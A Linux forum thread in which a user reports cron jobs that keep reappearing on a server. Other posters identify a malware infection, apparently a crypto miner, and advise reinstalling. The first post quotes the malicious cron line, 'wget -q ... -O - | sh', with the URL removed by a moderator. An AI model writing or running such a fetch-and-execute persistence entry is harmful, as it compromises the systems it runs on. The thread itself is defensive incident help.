LinuxQuestions.org
Welcome to the most active Linux Forum on the web.
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Newbie
User Name
Password
Linux - Newbie This Linux forum is for members that are new to Linux.
Just starting out and have a question? If it is not in the man pages or the how-to's this is the place!

Notices


Reply
  Search this Thread
Old 01-06-2018, 08:39 PM   #1
bandreddyteja
LQ Newbie
 
Registered: Jan 2018
Posts: 1

Rep: Reputation: Disabled
Unnecessary cronjobs are enabling.


Hi,

In Linux server some unnecessary cronjobs are creating and enabling by itself ,even after deleting those jobs its getting created after sometime,because of this some other .sh services
running in machine are halting automatically.Please help me out to resolve this.
I wanna know is there anything to force disable cronjobs automatically.
EX:* * * * * wget -q edited out -O - | sh

Last edited by Mara; 01-07-2018 at 04:54 AM. Reason: Edited out malware link
 
Old 01-06-2018, 08:52 PM   #2
keefaz
LQ Guru
 
Registered: Mar 2004
Distribution: Slackware
Posts: 6,230

Rep: Reputation: 724Reputation: 724Reputation: 724Reputation: 724Reputation: 724Reputation: 724Reputation: 724
Look like some malicious code running in your server...
Depending on your distribution, stopping cron could be commanded with 'service cron stop'
or more generally 'killall crond'
And after that, investigate this issue...
 
Old 01-06-2018, 09:36 PM   #3
astrogeek
Moderator
 
Registered: Oct 2008
Distribution: Slackware [64]-X.{0|1|2|37|-current} ::12<=X<=14, FreeBSD_12{.0|.1}
Posts: 5,227
Blog Entries: 11

Rep: Reputation: 3176Reputation: 3176Reputation: 3176Reputation: 3176Reputation: 3176Reputation: 3176Reputation: 3176Reputation: 3176Reputation: 3176Reputation: 3176Reputation: 3176
The example given by the OP will download and execute malware on your computer - DO NOT COPY PASTE!

@bandreddyteja: Please edit the link in that post to remove the actual URL as it will propagate malware to anyone who runs it!

Your server has been compromised by that script to replace many common executables on your system - it is toast and cannot be cleaned up by normal means! If that machine is connected to the internet please do yourself and everyone else a favor and take it offline immediately!

Disabling cron jobs will not stop the running processses or clean the system.

Among other things, it is hijacking your server and everyone it propagates to, and turning them into crypto-currency miners... please turn it off - now.

Unless you have knowledgable support people with physical access to that machine it is very doubtful that it an be cleaned up. You will almost certainly need to start fresh and restore your data from you known good backups.

Last edited by astrogeek; 01-06-2018 at 10:10 PM.
 
Old 01-07-2018, 04:56 AM   #4
Mara
Moderator
 
Registered: Feb 2002
Location: Grenoble
Distribution: Debian
Posts: 9,696

Rep: Reputation: 232Reputation: 232Reputation: 232
Moderator note: edited out the link

Agree with astrogeek. The machine will likely require a restore and/or reinstall. By all means do not propagate this script to other systems.
 
1 members found this post helpful.
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
Combining cronjobs? kikinovak Slackware 7 04-28-2016 12:22 AM
[SOLVED] cronjobs in ubuntu dinakumar12 Linux - Server 7 04-02-2010 05:31 AM
CronJobs error archey Linux - Newbie 4 08-22-2009 05:16 PM
Mail for CronJobs! honey bee Linux - Newbie 4 07-07-2008 01:32 PM
outdated cronjobs bujecas Linux - Software 6 08-04-2005 10:24 AM

LinuxQuestions.org > Forums > Linux Forums > Linux - Newbie

All times are GMT -5. The time now is 08:52 PM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Facebook: linuxquestions Google+: linuxquestions
Open Source Consulting | Domain Registration